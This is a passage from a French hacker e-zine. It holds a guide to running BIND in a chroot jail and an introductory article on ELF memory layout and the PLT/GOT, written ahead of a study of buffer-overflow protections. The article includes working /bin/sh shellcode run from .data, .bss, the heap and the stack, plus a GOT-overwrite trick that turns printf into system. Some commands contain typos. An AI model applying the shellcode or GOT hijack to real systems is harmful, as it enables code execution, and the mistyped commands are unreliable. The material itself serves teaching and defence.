correspondant (100.100.100.0/24 permet l'accès aux hosts sur le localhost
100.100.100.


2. EXECUTION DE NAMED DANS UN ENVIRONNEMENT CHROOT()
-----------------------------------------------------

Un pirate cherchera obtenir un accès frauduleux via le démon BIND. Par
conséquent, nombreux sont les admins qui exécutent named dans un environnement
chroot. Qu'est-ce ? Un environnement chroot trompe BIND pour qu'il croie
qu'un sous-répertoire est le système de fichiers root. Ainsi, pour tous
les process, named peut être exécuter dans /usr/local/bind, mais pour le
process named et ses enfants, /usr/local/bind semblera être le root (/).
Si un cracker pirate named, à cause du chroot, il sera emprisonné (chrooté)
dans /usr/local/bind! Tout simple. La version 8 de BIND inclut sa propre
fonctionnalité chroot.
Autre conseil : il est plus sage d'opérer BIND sous un user (ou un groupe)
qui contiendra le process named, plutôt que de l'opérer comme root. Comme
chroot est inclut dans les versions récentes de BIND, il suffit d'ajouter
un user et un groupe pour named aux fichiers passwd et group de l'ensemble
du système se trouvant dans /etc :
#echo "named::29" >>/etc/group
#echo "named:x:29:29:named:/:" >>/etc/passwd
Il faut maintenant rajouter un nouvel user named au fichier /etc/ftpusers
(pas question que quelqu'un se loggue sous named en FTP) :
#echo named >>/etc/ftpusers

Après cette préparation, revenons à l'exécution de BIND depuis une prison
chroot. D'abord, commençons par créer la prison. Puis, il faudra ajouter
un user et un groupe spécifique pour named (et son appartenance, évidemment).
Vous pouvez placer votre cellule où bon vous semble, par exemple usr/local/named
:
# mkdir /usr/local/named
#cd usr/localnamed
# mkdir dev etc etc/named lib usr usr/bin
Le répertoire chrooté (/etc/named) contiendra les données DNS.
(parenthèse : pour copier les données de configuration d'une install named
existante, utilisez chown).
Créons maintenant les n?uds de périph nécessaire à l'exécution de BIND
:
# mknod dev/null c 1 3
# mknod dev/zero c 1 5
# mknod dev/random c 1 8
# mknod dev/urandom c 1 9
# mknod dev/tty c 5 0
# chmod 666 dev/null dev/zero dev/tty
Jusque là, aucun souci, ça coule de source. Je vous avez dit que c'était
facile. Il ne manque plus qu'à copier quelques fichiers de base (nécessaire
pour named) depuis /etc vers notre chroot :
# cp /etc/nsswitch.conf /etc/resolv.con etc
# cp /etc/ld.so.cache /etc/localtime etc
On copie maintenant seulement named & Cie :
# cp /usr/sbin/named /usr/sbin/named-xfer usr/sbin

Etant donné que named et named-xfer sont liée, il nous faut quelques libs.
Lesquelles ? Un petit coup de ldd :
# ldd usr/sbin/named
libc.so.6 => /lib/libc.so.6 (0x40020000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Donc, on les copie :
#cd lib
# cp /lib/libc-2.1.2.so
# cp /lib/ld-2.1.2.so
# ln -s libc-2.1.2.so libc.so.6
# ln -s ld-2.1.2.so ld-linux.so.2
Vous en aurez peut-être besoin d'autres. Les lib suivantes sont utiles,
mais il faut que vous y ajustiez votre propre numéro de version :
# cp /lib/libnss_comt-2.1.2.so .
# cp /lib/libnss_files-2.1.2.so .
# cp /lib/libnsl-2.1.2.so .
# ln -s libnss_compat-2.1.2.so libnss_compat.so.2
# ln -s libnss_files-2.1.2.so libnss_files.so.2
# ln -s libnsl-2.1.2.so libnsl.so.2
Ne pas oubliez de vérifier les permissions de fichiers de configuration,
de bibliothèques et des binaires, afin qu'aucun ne soit éditable par l'user
(ou le groupe) named, ou n'opère comme suid ou sgid au niveau du root.
Maintenant, vous êtes prêt!

On peut paramétrer syslogd pour le chroot named afin d'obtenir les entrées
de log de named pour les envoyer à l'enregistreur normal du système. Les
démons syslogd récents offrent une option (-a) à la ligne de commande pour
cela :
Syslogd -a /usr/local/named/dev/log
Ainsi, un socket d'écoute sera créé sur /usr/local/bind/dev/log (que le
chroot named verra comme étant /dev/log). Pour que ce changement soit permanent,
il faut éditer le script qui lance syslogd (communément /etc/rc.d/init.d/syslog)
et y ajouter les options nécessaires. Relançons ensuite le démon pour valider
les modifs :
# /etc/rd.d/init.d/syslogd restart

Maintenant, tout est nickel, on est prêt à lancer le chroot named. Testons
le nouveau named (après avoir arrêté un éventuel ancien ;)

Normalement, votre named devrait fonctionner comme avant. Cependant,
si dorénavant il est compromis par un cracker, l'intrusion ne pourra pas
aller plus loin. Néanmoins, n'oubliez pas de modifier /etc/rc.d/init.d/named
pour prendre en compte les modifications de manière permanente.


...::: PROGRAMMATION By Nocte :::...

 

=====================================================================
5 . SECURITE :
Protections contre l'exploitation des débordements de buffer (Part I)
=====================================================================

Date : 27/06/2003
Auteur : A-bone
Sujet :
Protections contre l'exploitation des débordements de buffer (Part I)

 

Introduction :
Cet article est le premier d'une série qui traitera des protections contre l'exploitation des débordements de buffer. cette article présentera différentes méthodes de protections, et ce contre quoi elle protège précisément. En effet, il ne faut pas installer ces protections et croire qu'elles constituent un rempart infranchissable.

Avant de rentrer dans le vif du sujet dès le prochain article, nous rappelons ici quelques notions indispensables à la compréhension de la suite, comme le format ELF des binaires Linux, l'organisation de la mémoire des processus et la PLT/GOT (Procedure Linkage Table/Global Offset Table).

L'organisation de la mémoire :
Rappels sur le format ELF
Le format ELF (Executable and Linking Format -- format d'exécution et d'édition de liens) est le format actuel des binaires sous Linux. Il a remplacé le format a.out pour différentes raisons :

plus souple et plus pratique grâce à sa structure (cf. elf.h) ;
possibilité de créer des bibliothèques partagées ;
format supporté sur plusieurs autres systèmes ;
...
La principale chose à connaître sur ce format est son organisation. En fait, un binaire au format ELF est découpé en plusieurs sections. Chacune possède sa propre finalité. Par exemple, la section .text contient les instructions machines du programme, c'est-à-dire son code exécutable. Ainsi, une fois chargée en mémoire, comme un processus ne peut modifier son propre code, toutes les autres instances de ce programme utiliseront cette même portion de mémoire. La section .text est chargée une seule et unique fois pour tous les processus issus de ce binaire.

La commande file fournit les renseignements relatifs au format d'un fichier :

$ file /usr/bin/vim
/usr/bin/vim: ELF 32-bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), stripped

Le format ELF possède également une table des symboles, c'est-à-dire une liste de tous les symboles (labels, noms de fonctions, adresses de variables, etc.) qui sont définis ou référencés dans le fichier, ainsi que des informations sur ces symboles. Examinons les informations fournies par hello.c :

/* hello.c */
#include <stdio.h>

char world[6] = "world";
char * empty;

main(int argc, char ** argv )
{
printf( "Hello %s\n", argv[1] );
}


Avec gcc, nous transformons ces instructions en fichier objet, puis la commande nm en affiche le contenu :

$ gcc -c hello.c -o hello.o
$ ls
hello.c hello.o
$ nm hello.o
00000004 C empty
00000000 t gcc2_compiled.
00000000 T main
U printf
00000000 D world

La commande nm affiche tous les symboles contenus dans un fichier objet. Pour chaque symbole, nm donne :

la valeur du symbole ;
son type (en minuscule, le symbole est local, en majuscule, il est global) :
B : le symbole se trouve dans la zone mémoire .bss ;
D : le symbole se situe dans la zone mémoire des données initialisées .data ;
C : ce flag sert pour les symboles qui ne sont pas initialisés après la compilation. Dans notre exemple, empty est défini mais pas encore initialisé. S'il ne l'est nulle part, son type changera alors en B ;
T : le symbole est dans la zone mémoire .text (code) ;
U : le symbole est indéfini (undefined).
Il existe de nombreux autres types décrits dans la page info nm ;

le nom du symbole.
Dans le fichier objet, la fonction printf() n'est pas encore définie. Dans le fichier exécutable, il faudra connaître l'emplacement de cette fonction (i.e. la bibliothèque et son adresse dans celle-ci). Comme cette fonction est externe, un mécanisme de réadressage est prévu. Tout d'abord, il contient un décalage (offset) dans la table des symboles qui référence le symbole lui-même. Ensuite, il recèle un décalage dans la section .text qui réfère l'adresse du code de la fonction. Enfin, un tag indique le type de réadressage utilisé.

Lors de l'édition de liens, le linker recherche l'adresse réelle de la fonction printf(). Une fois découverte, elle est recopiée en mémoire afin que les appels à la fonction soient effectués sans repasser par cette étape de résolution.

Ce mécanisme décrit de manière très générale le comportement de la PLT (Procedure Linkage Table) et de la GOT (Global Offset Table). De plus amples détails sont donnés ci-après.

Les régions mémoire d'un processus
Nous ne détaillons pas ici le fonctionnement de la mémoire d'un processus, mais simplement l'organisation de ses régions mémoire.

Au cours de l'exécution d'un programme, il est tout à fait possible de retrouver les caractéristiques des régions (plage d'adresses, droits d'accès ...) grâce au fichier maps du processus, dans le système de fichiers /proc (/proc/<pid>/maps). Même si ces informations ne sont pas toujours exactes, elles décrivent néanmoins l'organisation du processus dans la mémoire :

$ /bin/cat /proc/11384/maps
08048000-080ca000 r-xp 00000000 03:01 419059 /usr/bin/vim [1]
080ca000-080d1000 rw-p 00081000 03:01 419059 /usr/bin/vim [2]
080d1000-080f8000 rwxp 00000000 00:00 0 [3]
40000000-40012000 r-xp 00000000 03:01 225598 /lib/ld-2.1.3.so
40012000-40014000 rw-p 00011000 03:01 225598 /lib/ld-2.1.3.so
40016000-40048000 r-xp 00000000 03:01 225579 /lib/libncurses.so.5.0
40048000-40050000 rw-p 00031000 03:01 225579 /lib/libncurses.so.5.0
40050000-40055000 rw-p 00000000 00:00 0
40055000-40059000 r-xp 00000000 03:01 563425 /usr/lib/libgpm.so.1.17.3
40059000-4005b000 rw-p 00003000 03:01 563425 /usr/lib/libgpm.so.1.17.3
4005b000-40130000 r-xp 00000000 03:01 225600 /lib/libc-2.1.3.so
40130000-40134000 rw-p 000d4000 03:01 225600 /lib/libc-2.1.3.so
40134000-40138000 rw-p 00000000 00:00 0
40138000-40142000 r-xp 00000000 03:01 225613 /lib/libnss_compat-2.1.3.so
40142000-40143000 rw-p 00009000 03:01 225613 /lib/libnss_compat-2.1.3.so
40143000-40155000 r-xp 00000000 03:01 225606 /lib/libnsl-2.1.3.so
40155000-40157000 rw-p 00011000 03:01 225606 /lib/libnsl-2.1.3.so
40157000-40159000 rw-p 00000000 00:00 0
bfffb000-c0000000 rwxp ffffc000 00:00 0 [4]

La ligne [1] représente la région mémoire .text où le code exécutable du programme est chargé. La commande objdump -d affiche les instructions Assembleur présentes dans cette section. La ligne [2] indique la région des données globales initialisées (.data), et la [3] la région des données globales non initialisées (.bss).
La commande objdump est une espèce de couteau suisse pour lire ces informations :

$ /usr/bin/objdump -h /usr/bin/vim

/usr/bin/vim: file format elf32-i386

Sections:
Idx Name Size VMA LMA File off Algn
[...]
12 .text 00073eec 08049c90 08049c90 00001c90 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
[...]
15 .data 000058d0 080ca940 080ca940 00081940 2**5
CONTENTS, ALLOC, LOAD, DATA
[...]
21 .bss 00002ecc 080d04a0 080d04a0 000874a0 2**5
ALLOC

Signalons que la commande readelf est capable de performances identiques.

Lorsqu'un programme au format ELF est lancé, le noyau organise la mémoire virtuelle allouée au processus : des plages mémoires sont réservées pour les besoins du programme (pile, tas, données, code, etc). S'il utilise des bibliothèques dynamiques, le binaire contient le nom de l'éditeur de liens à utiliser (/lib/ld-linux.so.2 en général) dans la section .interp :


$ /usr/bin/objdump -s -j .interp /usr/bin/vim

/usr/bin/vim: file format elf32-i386

Contents of section .interp:
80480f4 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
8048104 2e3200 .2.

Le noyau passe d'abord le contrôle des opérations à l'éditeur de liens afin qu'il charge les symboles (c'est-à-dire les références aux fonctions et variables des bibliothèques dynamiques ou d'autres fichiers objet, que nous avons vues précédemment) qui ne sont pas encore résolus, puis au programme qui commence alors le cours normal de son exécution.

Variables et mémoire
Comme il existe différents types de variables, il existe également différentes zones de mémoires dans lesquelles celles-ci sont stockées. Nous savons déjà qu'il existe les sections .data et .bss (cf. le paragraphe précédent). Ces zones sont réservées dès la compilation car leur taille est définie et connue de par la nature même des objets qu'elles contiennent.

Se pose maintenant le problème des variables locales et des variables dynamiques. Elles sont regroupées dans une zone mémoire réservée à l'exécution du programme (user stack frame). Les fonctions pouvant s'invoquer de manière récurrente, le nombre d'instances d'une variable locale n'est pas connu à l'avance. Elles seront donc placées, au moment de leur définition dans la pile du processus (stack). Cette pile se situe dans les adresses hautes de l'espace d'adressage de l'utilisateur, et fonctionne sur un modèle LIFO (Last In, First Out), dernier entré, premier sorti.

Le bas de la zone user frame sert à l'allocation des variables dynamiques. Cette région s'appelle le tas (heap) : elle contient les zones mémoires adressées par les pointeurs, les variables dynamiques. Lors de sa déclaration un pointeur occupe 32 bits soit dans BSS, soit dans la pile et ne pointe nulle part en particulier. Lors de son allocation, il reçoit une adresse qui correspond à celle du premier octet réservé pour lui dans le tas.

L'exemple suivant illustre la disposition des variables en mémoire :

/* mem.c */
int indice = 1; //dans data
char * str; //dans bss
int rien; //dans bss

void f( char c )
{
int i; //dans la pile
/* Réservation de 5 caractères dans le tas */
str = ( char * ) malloc ( 5 * sizeof (char) );
strncpy( str, "abcde", 5 );
}

int main( void )
{
f( 0 );
}

Des débordements de buffer peuvent se produire indistinctement dans ces régions. Nous illustrons ceci simplement avec quatre petits programmes qui simulent un débordement. Ils vont nous permettre de constater l'imprécision de certaines informations contenues dans le système de fichier /proc :

Shellcode dans le .data

$ cat sh_data.c
/* sh_data.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
int * ret;

*( (int *) & ret + 2 ) = ( int ) shellcode;
sleep( 5 );
return( 0 );
}
$ ./sh_data
sh-2.04$

gdb nous permet (comme toujours ;) de mieux voir les choses :
(gdb) info symbol shellcode
shellcode in section .data
(gdb) p &shellcode
$2 = (char (*)[46]) 0x8049520

Maintenant, si nous regardons dans le système de fichiers /proc pour obtenir des informations sur la mémoire utilisée par le processus, nous obtenons les informations suivantes :
$ ./sh_data
^Z
[3]+ Stopped ./sh_data
$ cat /proc/`ps | grep sh_ | awk '{print $1}'`/maps
00110000-00126000 r-xp 00000000 08:01 26579 /lib/ld-2.2.2.so
00126000-00127000 rw-p 00015000 08:01 26579 /lib/ld-2.2.2.so
00127000-00128000 rw-p 00000000 00:00 0
00133000-0025c000 r-xp 00000000 08:01 26588 /lib/libc-2.2.2.so
0025c000-00261000 rw-p 00128000 08:01 26588 /lib/libc-2.2.2.so
00261000-00265000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:03 884812 /tmp/sh_data
08049000-0804a000 rw-p 00000000 08:03 884812 /tmp/sh_data
bfffe000-c0000000 rwxp fffff000 00:00 0

Comme vous pouvez le constater, notre shellcode se situe à l'adresse 0x8049520. Or, cette zone n'est pas marquée comme exécutable dans /proc/<pid>/maps ! Et pourtant, il tourne ;)

Shellcode dans le .bss

/* sh_bss.c */
char shellcode[64];

int main()
{
int * ret;
memset( shellcode, 0, 64 );
sprintf( shellcode,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" );

* ( (int *) & ret + 2 ) = (int)shellcode;
return( 0 );
}

La variable globale shellcode est définie, mais n'est initialisée que dans la fonction main(). Elle se situe dans dans la zone .bss :
(gdb) info symbol shellcode
shellcode in section .bss
(gdb) p &shellcode
$1 = (char (*)[64]) 0x80496c0

Bien que l'adresse du shellcode le situe dans une zone marquée rw-, nous parvenons tout de même à l'exécuter :

$ ./sh_bss
sh-2.04$

Shellcode dans le tas (heap)

$ cat sh_heap.c
/* sh_heap.c */
int main()
{
int * ret;
char * shellcode = ( char * ) malloc( 64 );
sprintf( shellcode,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" );
*( (int *) & ret + 2 ) = ( int ) shellcode;
return( 0 );
}

La variable shellcode se trouve dans la pile (stack), mais la mémoire qui lui est allouée lors du malloc() est réservée dans le tas (heap) :
(gdb) p &shellcode
$1 = (char **) 0xbffff6d0 //dans la pile
(gdb) info symbol 0xbffff6d0
No symbol matches 0xbffff6d0.
(gdb) p shellcode
$2 = 0x80496b0
"ë\037^\211v\b1À\210F\a\211F\f°\013\211ó\215N\b\215V\fÍ\2001Û\211Ø(at)Í\200èÜÿÿÿ/bin/sh"

Lorsque nous l'exécutons, tout se déroule sans surprise, bien que la mémoire allouée pour shellcode dans le tas (en 0x80496b0) soit toujours indiquée comme non exécutable :

$ ./sh_heap
sh-2.04$

Shellcode dans la pile (stack)

$ cat sh_stack.c
/* sh_stack.c */
int main()
{
int * ret;
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
*( (int *) & ret + 4 ) = ( int ) shellcode;
return( 0 );
}

Ici, le décalage vers l'adresse de retour est différent car des registres sont placés sur la pile à l'entrée de la fonction (un disass main sous gdb montre ceci).
(gdb) p &shellcode
$2 = (char (*)[46]) 0xbffff6d0 //dans la pile
...
$ ./sh_stack
sh-2.04$

Cette fois, tout se passe comme prévu puisque cette zone est bien indiquée comme exécutable dans le système de fichiers /proc ;)
Maintenant que nous avons vu la disposition de la mémoire et des variables, revenons à l'édition de liens.

La Procedure Linkage Table ou PLT :
Son fonctionnement
Une section qui nous intéresse particulièrement est la Procedure Linkage Table (ou PLT). Elle joue en quelque sorte le rôle d'éditeur de liens (ou linker) pour les fonctions. Par défaut, toutes ses entrées sont initialisées non pas pour pointer vers la bonne fonction, mais sur l'éditeur de liens lui-même (celui dont nous avons parlé auparavant). Au premier appel d'une fonction donnée, le linker recherche la fonction dans la bibliothèque appropriée et met à jour son adresse. Le prochain appel de la fonction pointe ainsi directement où il faut.

$ /bin/cat elf.c
#include <stdio.h>

main()
{
printf( "Bonjour monde\n" );
}
$ make elf
cc elf.c -o elf
$ gdb ./elf
[...]
(gdb) disass main
Dump of assembler code for function main:
0x80483e0 <main>: push %ebp
0x80483e1 <main+1>: mov %esp,%ebp
0x80483e3 <main+3>: sub $0x8,%esp
0x80483e6 <main+6>: add $0xfffffff4,%esp
0x80483e9 <main+9>: push $0x8048460
0x80483ee <main+14>: call 0x804830c <printf>
0x80483f3 <main+19>: add $0x10,%esp
0x80483f6 <main+22>: jmp 0x8048400 <main+32>
0x80483f8 <main+24>: jmp 0x8048402 <main+34>
0x80483fa <main+26>: lea 0x0(%esi),%esi
0x8048400 <main+32>: jmp 0x80483f6 <main+22>
0x8048402 <main+34>: jmp 0x8048404 <main+36>
0x8048404 <main+36>: leave
0x8048405 <main+37>: ret
[...]
End of assembler dump.
(gdb) disass printf
Dump of assembler code for function printf:
0x804830c <printf>: jmp *0x80494a8
0x8048312 <printf+6>: push $0x18
0x8048317 <printf+11>: jmp 0x80482cc <_init+52>
End of assembler dump.
(gdb) x 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048312

La fonction main() contient un appel à la fonction printf(). En examinant le contenu de la mémoire à l'adresse indiquée (0x804830c, i.e. l'adresse de printf()), nous constatons que la première instruction exécutée est en fait un saut à une adresse contenue dans la section .got (Global Offset Table ou GOT). En simplifiant, cette GOT joue le rôle d'index de la PLT : elle signale qu'il faut revenir dans la PLT en 0x08048312, soit juste après le saut. Ensuite, un autre saut rend l'exécution du programme au linker pour qu'il recherche l'adresse de la fonction dans la bibliothèque adéquate.

Précisons qu'il est tout à fait possible d'obtenir les mêmes résultats avec la commande objdump :

$ /usr/bin/objdump -T ./elf | grep printf
0804830c DF *UND* 0000002f GLIBC_2.0 printf
$ /usr/bin/objdump -R ./elf | grep printf
080494a8 R_386_JUMP_SLOT printf

La première donne l'adresse de la PLT de la fonction printf(), et la seconde son entrée dans le GOT.

Il faut bien comprendre ici le rôle distinct de la PLT et de la GOT. La première effectue une action : construire le lien entre une fonction requise dans le code du programme et le code machine associé dans une bibliothèque. En quelque sorte, la PLT est un mini-éditeur de liens. D'ailleurs, tout comme la section .text qui contient les instructions du programme, la PLT est en lecture seule. De son côté, la GOT, qui est en lecture/écriture, est un annuaire qui référence juste l'adresse d'une fonction (en toute rigueur, elle indexe également les variables globales définies dans les bibliothèques et utilisées dans le programme)

Cette approche s'appelle lazy symbol binding (résolution tardive des symboles). L'idée est que si un programme utilise beaucoup de bibliothèques dynamiques, l'édition de liens est très (trop) longue. Ainsi, celle-ci ne se fait que lorsqu'il y en a réellement besoin.

Il est possible de forcer la résolution des symboles par l'éditeur de liens avec la variable d'environnement LD_BIND_NOW dès l'appel du programme, et non plus lorsqu'un symbole est requis :

$ export LD_BIND_NOW=1
$ gdb ./elf
[...]
(gdb) b main
Breakpoint 1 at 0x80483e6
(gdb) r
Starting program: /home/zorgon/dev/articles/intro/./elf
Breakpoint 1, 0x80483e6 in main ()
(gdb) disass printf
Dump of assembler code for function printf:
0x804830c : jmp *0x80494a8
0x8048312 : push $0x18
0x8048317 : jmp 0x80482cc <_init+52>
End of assembler dump.
(gdb) x 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x40059d44
(gdb) info symbol 0x40059d44
printf in section .text
(gdb)

Cette fois, la résolution est faite avant même l'exécution de la fonction printf(). Nous remarquons que l'adresse contenue dans la GOT pointe maintenant dans la section .text où se trouvent les instructions de la fonction.

Alchimie avec les fonctions
Pour illustrer ce mécanisme, nous montrons maintenant comment transformer l'appel d'une fonction en une autre à l'aide d'un petit programme très simple :

$ /bin/cat foobar.c
#include <stdio.h>
#include <stdlib.h>

int main( int argc, char * argv[] )
{
unsigned int got_addr = strtoul( argv[1], 0, 16 );
unsigned int value = strtoul( argv[2], 0, 16 );

* (int *) got_addr = value;
printf( argv[3] );

return;
}
$ gcc foobar.c -o foobar

Nous voulons que le programme foobar transforme l'appel de la fonction printf() en un appel à system() en allant modifier la GOT. Pour y parvenir, nous devons nous procurer deux informations :

l'adresse de printf() dans la GOT :
$ /usr/bin/objdump -R ./foobar | grep printf
08049518 R_386_JUMP_SLOT printf

l'adresse de system() dans la libc :
$ gdb ./foobar
[...]
(gdb) b main
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/zorgon/dev/articles/intro/./foobar
Breakpoint 1, 0x8048426 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x4004e2f0 <system>


Ainsi, la PLT va chercher l'adresse de la fonction printf() en 0x08049518. Il nous suffit alors de remplacer le contenu de cette adresse par 0x4004e2f0 qui correspond à l'adresse de la fonction system() en mémoire, ce qui est réalisé par l'instruction * (int *) got_addr = value; :

$ ./foobar 0x08049518 0x4004e2f0 /bin/sh
sh-2.03$

Conclusion :
Nous avons présenté ici différentes notions relatives à l'exécution d'un programme. Chacune nous servira dans le prochain article où nous étudierons de multiples solutions offertes sous Linux pour se prémunir de l'exécution de shellcode résultant d'un débordement de buffer : Openwall, Stackguard, PaX, LibSafe. Nous détaillerons les mécanismes mis en oeuvre par ces approches et les défenses qu'elles fournissent, mais nous en verrons également les limites.

merci a : Frédéric Raynal et Samuel Dralet.


...::: SECURITY By A-bone :::...



=====================================================================
The end :)

Bon, sur ce, je termienrai par ce poème d'un hacker anonyme :


010110100111
101010100100
100011010111
110010101000

100010101111
100010101110
001011011011
101100110010

101101010010
010101011010
010111010011

101001010111
010101001111
111010010111

Visitez nos sites : http://dealer-hack.ifrance.com & http://dealerhacksecurity.free.fr

Vous avez des questions a prepos du nos Mag's ? vous n'avez pas compris quelque chose allez sur le forum : http://dealerhacksecurity.free.fr/forum

By TDC - The Darkunderground Clan